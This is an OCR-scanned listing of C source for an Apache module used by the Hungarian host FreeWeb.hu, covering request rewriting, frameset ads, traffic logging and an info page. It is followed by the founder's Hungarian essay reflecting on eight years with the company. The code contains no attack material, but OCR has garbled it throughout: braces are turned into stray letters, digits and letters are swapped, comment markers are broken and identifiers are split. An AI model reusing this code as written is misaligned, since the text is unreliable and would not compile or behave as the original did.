fwmodule log emerg("username==NULL, ez nem tortenhetett volna meg...");
return SERVER ERROR;

}

fwmodule log debug("username: [%s]",username);



if (strlen(username)<2) {
fwmodule log emerg("username hossza < 2");
return SERVER_ERROR;

}

if ((hostname array=(array header *)ap table get(r->notes,"fw-hostname array"))==NULL) {
fwmodule log emerg("hostname array=NULL!");
return SERVER ERROR;
h
if (hostname_array->nelts<2) {
fwmodule log emerg("hostname array->nelts < 2");
return SERVER ERROR;
}

hostname _array elements=(char **)hostname_array->elts;

if ((uri_array=(array header *)ap_table get(r->notes,"fw-uri array"))==NULL) {
fwmodule log emerg("uri_array=NULL!");
return SERVER ERROR;

b

uri_array elements=(char **)uri_array->elts;

if ((basehostname=(char *)ap table get(r->notes,"fw-basehostname"))==NULL) {
fwmodule log emerg("basehostname=NULL!");
return SERVER ERROR;

}

userhome=ap _table get(r->notes,"fw-userhome");
if (userhome==NULL) {
fwmodule log emerg("userhome==NULL");
return SERVER_ERROR;
}

fwmodule log debug("userhome: [%s]",userhome);
fwmodule log debug("filename: [%s]",r->filename);

fwhu=in_array(fwdomains,basehostname);
if
fwhu &&
(hostname_array->nelts>2) && (
(strcmp(hostname array elements[2],"www")==0) ||
// for compatibility:
(strcmp(hostname array elements[2],"www1")==0) ||
(strcmp(hostname array elements[2],"www2'")==0)

)
)4

wwwiwhu=1;
} else {
wwwfiwhu=0;

}

if ((referer=ap_table get(r->headers in,"Referer")))
fwmodule log debug("Referer: [%s]",referer);



if ((user_agent=ap table get(r->headers in,"User-Agent"))) {
fwmodule log debug("User-Agent: [%s]",user agent);
for (i=0;(robot==0) && (i<cfg->noframeset ua->nelts);i++) {
if (noframeset_ua[i]) {
if (ap_regexec((regex _t *)noframeset ua[i],user agent,0,NULL,0)==0) {
fwmodule log debug("matched user agent (noframeset)");
fwmodule log debug("frameset kikapcsolva az user agent miatt");
ap_table setn(r->notes,"fw-robot","robot");
robot=1;
frameset=0;
b
b
h
b

if
(frameset==1) &&
(wwwitwhu && (uri_array->nelts>1))
) {
fwmodule log debug("frameset kikapcsolva www.fw.hu/user/valami miatt");
frameset=0;

}

if (

(frameset==1) &&

referer &&

strlen(referer) &&

(
strstr(referer,".freeweb.hu") ||
strstr(referer,".fw.hu") ||
(Mfwhu && strstr(referer,basehostname)) ||

/I (wwwifwhu && (uri_array->nelts>2)) ||

(fwhu && (uri_array->nelts>1))

)
)4

fwmodule log debug("frameset kikapcsolva a referer miatt");
frameset=0;

}

if (frameset) {
subr=ap _sub req lookup file(r->filename,r);
if (subr->content_type) {
for (i=0;frameset && (i<cfg->noframeset ct->nelts);i++) {
if (
('ap_stremp_match(subr->content type,noframeset ct[i])) ||
('strncmp(noframeset_ct[i],subr->content_type,strlen(noframeset ct[i])))
)
fwmodule log debug("frameset kikapcsolva a content type miatt: [%s]",noframeset ct[i]);
frameset=0;

}
b
}
b



fwmodule log debug("frameset? [%d]",frameset);

if (wwwfwhu) {
newuri=ap_pstrdup(r->pool,r->uri);
} else {
newuri=ap_pstrcat(r->pool,"/",username,NULL);
if (stremp(hostname_array elements[hostname_array->nelts-1],"www")==0)
hostname_array->nelts--;
if (fwhu) // username.fw.hu
1=3;
else // domain.tld
1=2;
for (;i<hostname_array->nelts;i++)
newuri=ap_pstrcat(r->pool,newuri,"/" ,hostname array elements[i],NULL);
// konyvtarak/file az uribol
for (i=0;i<uri_array->nelts;i++)
newuri=ap_pstrcat(r->pool,newuri,"/",uri_array elements[i],NULL);
}
directoryindex=ap_table get(r->notes,"fw-directoryindex");
if (directoryindex)
newuri=ap_pstrcat(r->pool,newuri,"/" directoryindex, NULL);

ap_no2slash(newuri);
fwmodule log debug("new uri: [%s]",newuri);

if (!frameset) {
// letezo regularis file
#ifdef PHP
if
r->content_type &&
(stremp(r->content_type,"application/x-httpd-php")==0)
) {
// php file, b.szogassuk kicsit az open_basedir -t dinamikusan, hihi
php basedir new=ap_ pstrcat(r-
>pool,zend ini_string("open_basedir",sizeof("open_ basedir"),0),":" ,userhome,NULL);

zend alter ini_entry("open_basedir",sizeof("open_basedir"),php basedir new,strlen(php basedir new)+
I,LPHP _INI ALL,PHP INI STAGE RUNTIME);
fwmodule log debug("php open_basedir set to: [%s]",php basedir new);

}
#endif

fwmodule log debug("letezo file, kiszolgaljuk");
fwmodule log info("-> DECLINED");
return DECLINED;

}

if ((ret=getuserstruct(r,username,&fwuser))==0) {
fwmodule log info("->404");
r->content_type="text/html";
r->no_cache=1;
ap_table setn(r->headers out,"X-Powered-By",VERSIONSTRING);



ap_send_http header(r);
errordocument_nofile(r,r->uri);
return DONE;
}
fwmodule log debug("kategoria: [%d]",fwuser.katl);
fwmodule log debug("noreklam: [%d]",fwuser.noreklam);
fwmodule log debug("oldalcim: [%s]",fwuser.oldalcim);
if ((remotehost=ap_table get(r->headers in,"X-Forwarded-For"))==NULL)
remotehost=r->connection->remote_ip;

/ %

if
( (fwuser.kat1==38) || (fwuser.kat]1==39) ) &&
('hunip(r,remotehost))

) 4
// szex,warez kulfoldrol
fwmodule log debug("tiltott kategoria kulfoldrol");
fwmodule log info("->404");
r->content_type="text/html";
r->no_cache=1;
ap_table setn(r->headers out,"X-Powered-By",VERSIONSTRING);
ap_send_http header(r);
errordocument nofile(r,r->uri);
return DONE;

j
*/

fwmodule log debug("--- content handler kezdodik ---");

newurl=ap_pstrcat(r->pool,"http://www.freeweb.hu",newuri, NULL);
if (r->args)

newurl=ap pstrcat(r->pool,newurl,"?" ,r->args, NULL);
fwmodule log debug("new url: [%s]",newurl);
r->content_type="text/html";
r->no_cache=1;
ap_table setn(r->headers_out,"X-Powered-By",VERSIONSTRING);
ap_send_http header(r);
fw_openlog();
syslog(LOG_INFO,"frameset: [%s][%s]",username,remotehost);
fw_closelog();
frameset out(r,&fwuser,newurl);
ap_table setn(r->notes,"fw-skiprequest","skip");
fwmodule log info("-> frameset: [%s]",newurl);

fwmodule log debug("--- content handler vege ---");
return DONE;

}

static int fw_log(request_rec *r) {
fw_conf *cfg=ap get module config(r->per dir config,&fw module);
request_rec *lastr;
const char *username, *referer, *referer basehostname;
int ignore=0,1,foreign=0;



char **trafficignore ct=(char **)cfg->trafficignore ct->elts;
array _header *referer array, *referer hostname array;

char **referer array elements;

char *tmp;

if (!cfg->enabled)
return DECLINED;

if (r->handler && (strcmp(r->handler,"fw-info")==0))
return DECLINED;

fwmodule log debug("--- fw_log ---");

if (ap_table get(r->notes,"fw-skiprequest"))
return DECLINED;

username=ap_table get(r->headers_in,"X-FW-Username");
if (username==NULL)
return DECLINED;

if (ap_table get(r->notes,"fw-robot")) {
fwmodule log debug("matched user agent (noframeset)");
return DECLINED;
}
lastr=r;
while (lastr->next) {
// elbattyogunk a request chain vegere
lastr=lastr->next;
}
fwmodule log debug("username,  exists, content type, bytes sent: [%s] [%u]  [%s]
[%u]",username,lastr->finfo.st mode?1:0,lastr->content type,lastr->bytes sent);
if
llastr->content_type ||
lNastr->finfo.st_mode ||
(lastr->bytes sent==0)

) {
fwmodule log debug("ignored traffic");
ignore=1;
h
if (ignore==1)
return DECLINED;
for (i=0;(ignore==0) && (i<cfg->trafficignore ct->nelts);i++) {
if (

('ap_strcmp match(lastr->content type,trafficignore ct[i])) ||
('strncmp(trafficignore ct[i],lastr->content_type,strlen(trafficignore ct[i])))
) {
fwmodule log debug("ignored traffic, content type match: [%s]",trafficignore ct[i]);
ignore=1;
b
}

if
(referer=ap table get(lastr->headers in,"Referer")) &&
(referer_array=split_into_array(r,referer,/")) &&



(referer_array->nelts>1) &&
(referer_array elements=(char **)referer array->elts) &&
(referer_hostname array=split into reverse array(r,referer array elements[1],".")) &&
(referer_hostname array->nelts>1) &&
(referer basehostname=getbasehostname(r,referer hostname array)) &&
('in_array(fwdomains,referer basehostname)) &&
((getusername_from_basehostname(r,referer basehostname,&tmp))==0)

)4
fwmodule log debug("foreign referer basehostname: [%s] ([%s])",referer basehostname,referer);
foreign=1;

}

fw_openlog();
if (ignore==0) {

syslog(LOG_INFO,"traffic data: [%s][%]1d][%c]",username,lastr->bytes sent,(foreign?'F":'-"));
} else {

syslog(LOG_INFO,"traffic other: [%s][%]d][%c]",username,lastr->bytes_sent,(foreign?'F':'-"));
}
fw_closelog();
return DECLINED;

}

static int fw_info(request_rec *r) {
int 1,sum=0;
r->content_type="text/html";
ap_rprintf(r,"\
<htmI>\n\
<head>\n\
<title>FreeWeb InfoPage - %s</title>\n\
<style>\n\
* {\n\
font: normal 12px sans;\n\
Hn\
table {\n\
margin: 0;\n\
padding: 0;\n\
border-collapse: collapse;\n\
border: 1px solid #000000;\n\
Hn\
tr.bold td {\n\
font-weight: bold;\n\
Hn\
tr.lightgreen {\n\
background-color: #ccffce;\n\
H\n\
tr.darkgreen {\n\
background-color: #aaffaa;\n\
Hn\
tr.lightred {\n\
background-color: #ffccee;\n\
H\n\
tr.darkred {\n\
background-color: #ffaaaa;\n\



F\n\
td {\n\
margin: 0;\n\
padding: 2px;\n\
border: 1px solid #000000;\n\
Hn\
td.right {\n\
text-align: right;\n\
}\n\
</style>\n\
</head>\n\
<body>\n\
".ap_ht_time(r->pool,r->request_time,"%Y.%m.%d %H:%M:%S",0));
ap_rprintf(r,"domaintable elements:\n");
ap_rprintf(r,"<table>\n");
ap_rprintf(r,"<tr><td>domain</td><td>username</td><td>lookupOK</td><td>created</td></tr>\n");
for (i=0;i<DOMAINTABLE_ELEMENTS;i++) {
if (shared->domaintable[i].timestamp) {
sum++;
if (shared->domaintable[i].lookupOK==1) {
// green
if (shared->domaintable[i].timestamp>r->request_time-DOMAINTABLE HIT TIMEOUT) {
/1 light
ap_rprintf(r,"<tr class=\"lightgreen\">");
} else {
// dark
ap_rprintf(r,"<tr class=\"darkgreen\">");
b
} else {
// red
if (shared->domaintable[i].timestamp>r->request_time-DOMAINTABLE HIT TIMEOUT) {
// light
ap_rprintf(r,"<tr class=\"lightred\">");
} else {
// dark
ap_rprintf(r,"<tr class=\"darkred\">");

b
}

ap_rprintf(r,"<td>%s</td>",shared->domaintable[i].domain);
ap_rprintf(r,"<td>%s</td>",shared->domaintable[i].username);
ap_rprintf(r,"<td>%s</td>",shared->domaintable[i].lookupOK?"OK":"failed");
ap_rprintf(r,"<td>%s</td>",ap_ht time(r->pool,shared->domaintable[i].timestamp,"%Y.%m.%d
%H:%M:%S",0));
ap_rprintf(r,"</tr>\n");
}

b

ap_rprintf(r,"</table>\n");

ap_rprintf(r,"total: %d",sum);

ap_rprintf(r,"</body>\n</htmI>");

return OK;

}

static const handler rec fw_handlers[] = {



{ "fw-info", fw_info },
{ NULL, NULL }
¥

module MODULE VAR EXPORT fw_module = {
STANDARD MODULE STUFF,
fw_init, /* module initializer */
create_dir_config, /* create per-dir config structures */
merge dir config, /* merge per-dir config structures */

NULL, /* create per-server config structures */
NULL, /* merge per-server config structures */
fw_commands, /* table of config file commands  */
fw_handlers, /* [#8] MIME-typed-dispatched handlers */
fw_translate, /* [#1] URI to filename translation */
NULL, /* [#4] validate user id from request */
NULL, /* [#5] check if the user is ok _here */
NULL, /* [#3] check access by host address */
NULL, /* [#6] determine MIME type */
fw_fixup, /* [#7] pre-run fixups */
fw_log, /* [#9] log a transaction */

NULL, /* [#2] header parser */

NULL, /* child_init */

NULL, /* child_exit */

NULL, /* [#0] post read-request */
NULL, /* add module */

NULL, /* remove module */
NULL, /* rewrite command */
NULL, /* new connection */

NULL /* close connection */



~ Domain regisztricié és minéségi webtdrhely egy helyen: http://www.swi.hu
8 év Osszegzése: Megérte?

8 év nagyon nagy id0. Féleg akkor, ha az idé nagyobb részét egy konkrét dologgal tolti az ember. A 8 év
alatt nem egyszer kellett dupla vagy semmi jatékot jatszani. TObbszor a csaldd rovasara ment mar a
szerverek apolgatasa és a rendszeres péntek / szombat esti alert sms iizeneteket sem okoztak til nagy
oromet. Az 1d6 viszont megszépiti ezeket a dolgokat is és ma mar inkabb csak sztorizgatds kozben
kertilnek el6 ezek az esetek. Ennyi id6 alatt a cég olyan lett mar, mint egy csalddtag. Amolyan masodik
gyerek. Igy természetes, hogy az ember nem szivesen valik meg a sajat gyerekétdl. Most mégis dontenem
kellett. Hagyom, hogy a sajat karjaim kozt haljon meg, vagy megprébalok a lehetd legjobb feltételekkel
kiszallni a bulib6l és mint kiilsé szemléld, sajndlkozva nézem, ahogy tudatosan tonkreteszik 8 év
munkajat. Ertheté modon inkdbb az utobbi mellett dontdttem és amitdl féltem, az szépen lassan be is
kovetkezik. A szolgaltatdsok szinvonala folyamatosan csokken, a felhasznalokkal torténd kommunikacio
szinte a nullaval egyeld, tobb szolgaltatas hasznalhatatlan lett, egyszoval elindultak a lejton lefelé.

Megérte? Ugy gondolom, ezalatt a 8 év alatt olyan mennyiségii tudast és tapasztalatot, baratokat
szereztem ¢én magam is és azok, akik velem egyiitt dolgoztak, amit kevés helyen lehetne mashogy
megszerezni. Rengeteg olyan kapcsolatra tettem szert, mely egy ujrakezdést jelentds mértékben
megkonnyit.
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